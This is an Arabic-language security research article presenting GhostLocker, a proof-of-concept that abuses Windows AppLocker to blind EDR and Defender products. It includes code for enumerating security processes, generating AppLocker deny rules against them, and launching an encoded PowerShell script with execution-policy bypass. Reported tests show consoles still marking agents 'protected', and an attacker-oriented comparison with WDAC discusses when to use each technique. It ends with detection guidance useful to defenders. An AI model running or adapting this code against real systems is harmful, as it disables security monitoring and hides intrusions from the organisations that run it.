GhostLocker: تحييد EDR استنادًا إلى AppLocker

مقدمة

بعد مقالتي حول Fairy-Law، حيث استخدمت تخفيفات النواة لتعطيل حلول كشف نقاط النهاية والاستجابة (Endpoint Detection & Response - EDR)، أشار diversenok إلى أن استثناءات IFEO (Image File Execution Options) كانت شديدة التدخل في تطبيقات الطرف الثالث. قاد هذا إلى نهج أفضل: استغلال الصلاحيات المتأصلة التي يمتلكها المسؤولون بالفعل عبر AppLocker.

استُوحي المفهوم من diversenok، الذي أبرز أن بإمكان المسؤولين التحكم بشكل مشروع في أي برنامج على أنظمتهم. من هذه الرؤية، طوّرت تقنية تستخدم AppLocker كآلية تحكم أصلية في Windows. يستكشف هذا البحث التنفيذ التقني لـ AppLocker للتحكم في EDR، ويقارنه بـ WDAC، ويقدم أداة عملية لإثبات المفهوم.

AppLocker: بنية القائمة البيضاء للتطبيقات

تم تقديم AppLocker مع Windows 7 وتحسينه في Windows 8.1 و10 (Enterprise) و Windows Server 2012/R2/2016+. وهو إطار عمل لقائمة التطبيقات البيضاء يسمح للمسؤولين بتحديد بدقة أي الملفات التنفيذية أو البرامج النصية أو برامج التثبيت يُسمح لها بالتنفيذ لمستخدمين أو مجموعات محددة.

البنية الداخلية (من منظور داخل Windows)

مكونات وضع المستخدم والنواة (User-Mode & Kernel):

AppIDSvc (خدمة هوية التطبيقات)

• تعمل تحت حساب LocalService
• تراقب تغييرات التسجيل (Registry) على مسارات سياسات AppLocker
• تترجم تعريفات القواعد المستندة إلى XML إلى SDDL ثنائي (لغة تعريف واصفات الأمان - Security Descriptor Definition Language)
• تتواصل مع برنامج تشغيل النواة عبر DeviceIoControl لتحديث السياسات

AppID.sys (برنامج تشغيل النواة)

• يعترض أحداث إنشاء العمليات عبر آليات الاستدعاء (callback mechanisms)
• ينفّذ تقييم القواعد باستخدام SeSrpAccessCheck
• يراقب تحميلات DLL اختياريًا (معطّل افتراضيًا لأسباب تتعلق بالأداء)

توضيح:
بينما يقوم AppID.sys بتقييم القواعد في وضع النواة، فإن فرض قواعد DLL ليس مستقلًا.
لا يقوم برنامج تشغيل النواة بمراقبة تحميلات DLL بشكل نشط بمفرده. بدلاً من ذلك، يجب على مكونات وضع المستخدم الاستعلام صراحةً عن برنامج التشغيل عبر IOCTL لتحديد ما إذا كان تحميل DLL مسموحًا به.
ونتيجة لذلك، تعمل قواعد DLL في AppLocker فعليًا كآلية حماية من جانب العميل.

أنواع القواعد والفرض (Enforcement)

يدعم AppLocker فئتين رئيسيتين من القواعد:

قواعد السماح (Allow Rules): تسمح صراحةً للتطبيقات المحددة بالتنفيذ

قواعد الحظر (Deny Rules): تمنع صراحةً التطبيقات المحددة من التنفيذ

• دائمًا ما تكون قواعد الحظر لها الأولوية على قواعد السماح
• يمكن أن تتضمن استثناءات لشروط محددة
• تدعم الاستهداف على مستوى المستخدمين والمجموعات

معايير القواعد (سمات AppID):

• قواعد تستند إلى المسار (Path): C:\Program Files\Security\*.exe
• قواعد تستند إلى التجزئة (Hash): التحقق من تجزئة SHA256 بنمط Authenticode
• قواعد الناشر (Publisher): التحقق من التوقيع الرقمي والإصدار واسم المنتج
• قواعد سمات الملف: اسم الشركة، إصدار المنتج، إلخ.

مواقع التخزين في السجل (Registry):

HKLM\Software\Policies\Microsoft\Windows\SrpV2     (XML policy storage, persistent)
HKLM\SYSTEM\CurrentControlSet\Control\Srp\Gp\Exe  (SDDL binary format, active enforcement)
HKLM\SYSTEM\CurrentControlSet\Control\AppID\CertStore (Certificate cache)

فرض السياسات على الخدمات وعمليات SYSTEM (غالبًا ما يُغفل)

بشكل افتراضي، لا يفرض AppLocker القواعد على الخدمات أو عمليات SYSTEM.
لا يوجد خيار في الواجهة الرسومية لتمكين هذا السلوك.

لا يمكن تمكين فرض السياسات على الخدمات إلا عبر سياسة XML باستخدام RuleCollectionExtensions.

مقطع السياسة التالي مطلوب لفرض قواعد AppLocker على الخدمات:

<RuleCollectionExtensions>
  <ThresholdExtensions>
    <Services EnforcementMode="Enabled"/>
  </ThresholdExtensions>
  <RedstoneExtensions>
    <SystemApps Allow="Enabled"/>
  </RedstoneExtensions>
</RuleCollectionExtensions>

كما تشير أسماء الامتدادات، فإن هذه الخيارات مدعومة فقط على Windows 10+ وغير متاحة على الإصدارات الأقدم. انظر Microsoft - AppLocker rule collection extensions

تدفق تنفيذ الفرض:

1. يخطر Windows برنامج تشغيل AppID عند إنشاء عملية
2. يقوم AppID.sys بتقييم سمات التطبيق
3. بناءً على قواعد AppLocker، يسمح بالعملية أو يمنعها
4. إذا تم الحظر، يُلغى إنشاء العملية مع STATUS_ACCESS_DISABLED_BY_POLICY_OTHER

قيد حرج:

⚠️ لا ينهي AppLocker العمليات الجارية.

ينطبق فرض AppLocker فقط على أحداث إنشاء العمليات الجديدة. تستمر عمليات EDR الجارية بالفعل في التنفيذ حتى إعادة تشغيل النظام. هذا قيد معماري أساسي.

ملاحظة بخصوص تتبع برنامج تشغيل النواة (Telemetry):

حتى بعد حظر الملفات التنفيذية لوضع المستخدم الخاصة بـ EDR، تبقى برامج تشغيل النواة (*.sys) نشطة وتعمل. تستمر هذه البرامج في:

• تسجيل استدعاءات النواة (العمليات، الخيوط، تحميل الصور، السجل)
• جمع بيانات التتبع (Telemetry)
• مراقبة أحداث النظام

ومع ذلك، يكشف الاختبار المكثف أن هذا التتبع يصبح غير فعّال وظيفيًا. دون محركات تحليل وضع المستخدم، وأنظمة الربط (correlation)، وآليات الإبلاغ، لا يمكن معالجة بيانات التتبع الخام إلى اكتشافات قابلة للتنفيذ. تعتمد حلول EDR بشكل كبير على مكونات وضع المستخدم من أجل:

• ربط الأحداث وتحليل السلوك
• الاستدلال بالتعلم الآلي
• توليد التنبيهات وتنسيق الاستجابة
• التواصل مع وحدات التحكم الإدارية

GhostLocker: تنفيذ لإثبات المفهوم

نظرة عامة على الأداة

GhostLocker هو تنفيذ بلغة C++ يؤتمت نشر سياسات AppLocker لحظر الملفات التنفيذية الخاصة بـ EDR.

تحليل التنفيذ التقني

أشكال التنفيذ

يوفر GhostLocker شكلين من التنفيذ:

main.cpp – إصدار التعداد الديناميكي

يقوم هذا الإصدار بتعداد العمليات الجارية وحل مسارات الصور الكاملة الخاصة بها باستخدام واجهات برمجة التطبيقات الأصلية (NtQuerySystemInformation).
تُستخدم المسارات المطلقة الناتجة بعد ذلك لتوليد قواعد حظر دقيقة في AppLocker.

تستخدم الأداة CreateToolhelp32Snapshot مع TH32CS_SNAPPROCESS لتعداد جميع العمليات الجارية. وتقارن أسماء العمليات مع قائمة أهداف محددة مسبقًا باستخدام مطابقة غير حساسة لحالة الأحرف (_wcsicmp).

لماذا هذا النهج؟

• تعداد خفيف وسريع
• لا يتطلب صلاحيات مرتفعة لقراءة قائمة العمليات
• المطابقة غير الحساسة لحالة الأحرف تتعامل مع اختلافات التسمية

1. تعداد العمليات (FindTargetsAndQueryPaths)

const wchar_t* targetNames[] = {
    L"MpDefenderCoreService.exe",
    L"MsMpEng.exe",
    L"WinDefend.exe",
    L"EDR_Component_Name.exe",
};

2. حل المسار عبر NtQuerySystemInformation

SYSTEM_PROCESS_ID_INFORMATION spi = { 0 };
spi.ProcessId = PID;
spi.ImageName.MaximumLength = 1024;
spi.ImageName.Buffer = (PWSTR)allocBuffer;

status = NtQuerySystemInformation(
    SystemProcessIdInformation,
    &spi,
    sizeof(spi),
    0
);

تفاصيل تقنية:

• يستخدم فئة المعلومات غير الموثقة SystemProcessIdInformation (0x58)
• يُرجع تنسيق مسار جهاز NT: \Device\HarddiskVolume3\Windows\System32\...
• يتطلب تحويلًا إلى تنسيق مسار Win32 لتوافقه مع AppLocker

منطق تحويل المسار:

std::wstring ForceHarddiskVolumeToC(const std::wstring& ntPath)
{
    const std::wstring prefix = L"\\Device\\HarddiskVolume3\\";
    if (ntPath.rfind(prefix, 0) == 0)
    {
        std::wstring rest = ntPath.substr(prefix.length());
        return L"C:\\" + rest;
    }
    return ntPath;
}

قيد: افتراض HarddiskVolume3 مثبت برمجيًا. ينبغي تحسينه لحل أرقام وحدات التخزين ديناميكيًا.

3. توليد سياسة PowerShell

تضمّن الأداة سكربت PowerShell كامل:

أ) التحقق من مسارات الأهداف

foreach ($exe in $ExeToBlock) {
    if (!(Test-Path $exe)) {
        Write-Host '[!] ERROR: File does not exist:' $exe -ForegroundColor Red
        exit 1
    }
}

ب) توليد قواعد حظر ديناميكية

foreach ($exe in $ExeToBlock) {
    $id   = [guid]::NewGuid().ToString()
    $name = Split-Path $exe -Leaf
    
    $dynamicBlockRules += '<FilePathRule Id="' + $id + '" Name="Block ' + $name + 
                          '" Description="Blocked by policy" UserOrGroupSid="S-1-1-0" Action="Deny">'
    $dynamicBlockRules += '<Conditions><FilePathCondition Path="' + $exe + '" /></Conditions>'
    $dynamicBlockRules += '</FilePathRule>'
}

عناصر السياسة الأساسية:

• UserOrGroupSid="S-1-1-0": ينطبق على الجميع (جميع المستخدمين)
• Action="Deny": قاعدة حظر صريحة
• EnforcementMode="Enabled": فرض نشط لقواعد EXE
• تُدرج قواعد الحظر قبل قواعد السماح الاحتياطية (الأولوية)

ج) تطبيق السياسة

Set-AppLockerPolicy -XmlPolicy $tempPath -ErrorAction Stop
gpupdate /force | Out-Null

4. الترميز Base64 والتنفيذ

void RunPowerShellInMemory()
{
    std::wstring script = BuildFullPowerShellScript();
    const BYTE* bytes = reinterpret_cast<const BYTE*>(script.c_str());
    size_t byteLen = script.size() * sizeof(wchar_t);
    
    std::wstring encoded = Base64Encode(bytes, byteLen);
    std::wstring params = L"-NoProfile -ExecutionPolicy Bypass -EncodedCommand ";
    params += encoded;
    
    ShellExecuteW(NULL, L"runas", L"powershell.exe", params.c_str(), NULL, SW_SHOW);
}

الأساس التقني:

• ترميز UTF-16LE: يتوقع PowerShell -EncodedCommand ترميز UTF-16LE
• ترميز Base64: يتجاوز قيود الأحرف في سطر الأوامر
• -ExecutionPolicy Bypass: يتجاهل سياسة تنفيذ السكربتات
• فعل runas: يطلق طلب رفع صلاحيات UAC للحصول على حقوق إدارية

main_improved.cpp – إصدار قائم على أحرف البدل الثابتة

بعد التوضيح من diversenok، اتضح أن قواعد مسارات AppLocker تدعم مطابقة أحرف البدل (wildcards) ولا تتطلب مسارات كاملة للملفات التنفيذية.

يزيل هذا الإصدار المحسّن جميع منطق تعداد العمليات وحل المسار الأصلي ويعتمد بدلاً من ذلك على قواعد أحرف بدل ثابتة مثل: *\MsMpEng.exe

المتطلبات

⚠️ المتطلبات الأساسية للنشر الناجح:

• يجب التنفيذ من سياق بصلاحيات مرتفعة (Administrator)
• يجب أن تكون خدمة AppIDSvc قيد التشغيل: sc start AppIDSvc
• يلزم إعادة تشغيل النظام بعد النشر لتحقيق الفعالية الكاملة
• يجب أن تكون عمليات EDR المستهدفة قيد التشغيل أثناء مرحلة التعداد

نتائج البحث: اختبار EDR في بيئات حقيقية

منهجية الاختبار

تم إجراء اختبارات خاضعة للرقابة ومكثفة ضد حلول EDR تجارية متعددة لتقييم الفعالية.

بيئة الاختبار:

• Windows 11 (25H2)
• منتجات EDR تجارية متعددة (تم إخفاء الأسماء)
• اكتشاف خط الأساس: تقنيات حقن عمليات بسيطة
• تحقق ما قبل الاختبار: تأكيد قدرات اكتشاف EDR

النتائج الرئيسية

قدرات الاكتشاف بعد الحظر

فشل التحليل السلوكي:

• فشلت جميع حلول EDR المختبرة في توليد تنبيهات بعد حظر AppLocker
• عمليات الحقن البسيطة التي كانت تُكتشف سابقًا مرت دون اكتشاف
• لم يتم تشغيل أي اكتشافات سلوكية للأنشطة المشبوهة

منظور وحدة التحكم الإدارية:

• استمرت الوكلاء (Agents) في الإبلاغ بأنها "متصلة" و"محمية"
• تم تحديث الطوابع الزمنية لآخر ظهور بشكل طبيعي
• لا يوجد أي مؤشر على الاختراق من واجهة الإدارة

تحليل تتبع برنامج تشغيل النواة

على الرغم من استمرار برامج تشغيل النواة في العمل وجمع تدفقات بيانات التتبع، فإن غياب مكونات المعالجة في وضع المستخدم جعل البيانات المجمّعة غير فعالة.

ما يستمر في العمل:

• استدعاءات النواة تعمل بشكل طبيعي (العمليات، الخيوط، تحميل الصور، السجل، إلخ.)
• استمرار جمع بيانات التتبع الخام
• قد يعمل التواصل بين برامج التشغيل

رؤية حرجة:

تعتمد بنية EDR الحديثة على اقتران وثيق بين برامج تشغيل النواة ومحركات تحليل وضع المستخدم. إن كسر هذا الاقتران يعمي EDR فعليًا على الرغم من استمرار جمع التتبع.

لقطة شاشة (تعداد وتطبيق سياسة AppLocker):

لقطة شاشة (تعطيل WinDefend):

لقطة شاشة للإصدار الثاني

مقارنة: WDAC مقابل AppLocker

ما هو WDAC؟

تم تقديم Windows Defender Application Control (WDAC) في Windows 10 ويمثل إطار التحكم الحديث في التطبيقات من Microsoft. يفرض سياسات على كل من ملفات وضع المستخدم ووضع النواة.

بنية WDAC:

الخصائص الأساسية:

• فرض على مستوى النظام (جميع المستخدمين، جميع الجلسات)
• فرض قبل الإقلاع
• نموذج الرفض الافتراضي
• محرك سياسات تكامل الكود (Code Integrity - CI)
• فرض توقيع برامج تشغيل النواة

تخزين سياسة WDAC:

C:\Windows\System32\CodeIntegrity\SIPolicy.p7b    (Active policy, signed)
C:\Windows\System32\CodeIntegrity\CIPolicies\     (Multiple policies)
EFI System Partition (UEFI enforcement)

WDAC كمتجه هجوم: Krueger

أظهر Krueger إساءة استخدام WDAC لحظر برامج تشغيل EDR:

الفرق الرئيسي:

• يمنع WDAC في وقت تحميل برنامج التشغيل (النواة)
• يمنع AppLocker في وقت إنشاء العملية (وضع المستخدم)

مصفوفة المقارنة التفصيلية

اعتبارات عملية للهجوم

متى تستخدم AppLocker (GhostLocker):

• الهدف هو حظر عمليات وضع المستخدم فقط
• تريد الإبقاء على تتبع برنامج تشغيل النواة (أقل إثارة للشبهات)
• تحتاج إلى سياسات على نطاق مستخدم لحجب مستهدف

متى تستخدم WDAC (على غرار Krueger):

• الحاجة إلى حظر كامل على مستوى برامج التشغيل
• الهدف لا يطبّق سياسات WDAC

إرشادات الاكتشاف والوقاية

1. تقييم السياسة قبل التنفيذ

يوفر Windows واجهة برمجة التطبيقات Get-AppLockerFileInformation، التي تسمح باختبار ما إذا كان ملف تنفيذي معين سيُحظر بموجب سياسة AppLocker الحالية.

يمكن لأي حل EDR استخدام هذه الآلية للتحقق استباقيًا مما إذا كانت ملفاته أو خدماته الخاصة ستُمنع من التنفيذ بعد تغيير السياسة.
إذا انتقل مكوّن أساسي من حالة مسموح إلى ممنوع، فيجب التعامل مع ذلك كحالة عبث (tamper) عالية الثقة.

2. مراقبة تغييرات سياسة AppLocker

يتم إرسال تحديثات سياسة AppLocker إلى AppID.sys عبر استدعاءات IOCTL صريحة من وضع المستخدم.
يوفر هذا مسار إشارة واضحًا يشير إلى أن حالة الفرض قد تغيرت.

يمكن لبرامج تشغيل النواة ملاحظة هذه الإشعارات وربطها بإخفاقات التنفيذ اللاحقة للخدمات المحمية، مما يتيح اكتشافًا دقيقًا للتحييد القائم على السياسات.

3. الثبات والربط مع إعادة التشغيل

تُحفظ سياسات AppLocker عبر عمليات إعادة التشغيل في مواقع سجل محددة جيدًا.
يمكن لحلول EDR التقاط لقطة لحالة السياسة ذات الصلة قبل إعادة التشغيل والتحقق من اتساق الفرض بعد بدء تشغيل النظام.

يشير عدم التطابق بين حالة التنفيذ المتوقعة والفرض بعد إعادة التشغيل بقوة إلى تلاعب متعمد بالسياسة.

4. آليات الاستثناء المدمجة

تتضمن Windows آليات أصلية لاستثناء العمليات من فرض SRP/AppLocker.
من المتوقع أن تتكامل المنتجات الأمنية مع هذه الآليات لضمان استمرارية التشغيل.

عدم مراعاة هذه الاستثناءات ليس قيدًا في AppLocker، بل هو إشراف معماري في المنتج المحمي.

خلاصة

لا تتطلب أي من استراتيجيات الاكتشاف هذه تجاوز AppLocker أو انتهاك حدود أمان Windows.
تعتمد فقط على السلوكيات والواجهات الموثقة التي يوفرها نظام التشغيل بالفعل.

الخاتمة

يُظهر GhostLocker أنه يمكن تسليح AppLocker، وهي ميزة أمان Windows مشروعة، لتحييد حلول EDR من خلال حظر عمليات وضع المستخدم. تسلط هذه الدراسة الضوء على ثغرات معمارية أساسية في تصاميم EDR الحالية التي تقترن بشدة بين جمع تتبع النواة ومحركات تحليل وضع المستخدم.

النقاط الرئيسية:

1. فعالية AppLocker: يحظر بنجاح عمليات وضع المستخدم الخاصة بـ EDR عبر بائعين متعددين
2. ثغرة معمارية: تستمر برامج تشغيل النواة في العمل لكنها تصبح عمياء وظيفيًا دون معالجة وضع المستخدم
3. عمى الاكتشاف: أظهرت حلول EDR المختبرة فشلًا كاملًا في الاكتشاف بعد الحظر
4. خداع وحدة التحكم الإدارية: تظهر الوكلاء "متصلين" و"محميين" على الرغم من الاختراق
5. تقنية أصلية للنظام: تستخدم ميزات Windows المشروعة

لتنفيذ C# مستقبلي:

• تنفيذ .NET خالص في الذاكرة (أفضل لأمن العمليات - OPSEC)
• استخدام مباشر لواجهات برمجة التطبيقات دون اعتماد على PowerShell

إخلاء مسؤولية

يُقدَّم هذا البحث لأغراض تعليمية وأمنية دفاعية فقط.
يجب استخدام التقنيات الموصوفة فقط في بيئات اختبار مصرح بها وبتصريح صريح.

المراجع وقراءات إضافية

• داخل Windows، الجزء 1 و2 (الطبعة السابعة)
• المرجع التقني لـ AppLocker
• دليل تصميم WDAC
• Krueger: أداة إساءة استخدام WDAC

مساهمات المجتمع مرحب بها

إذا كنت مهتمًا بالمساهمة في GhostLocker، خاصة في تنفيذ C#، فنحن نرحب بك كثيرًا.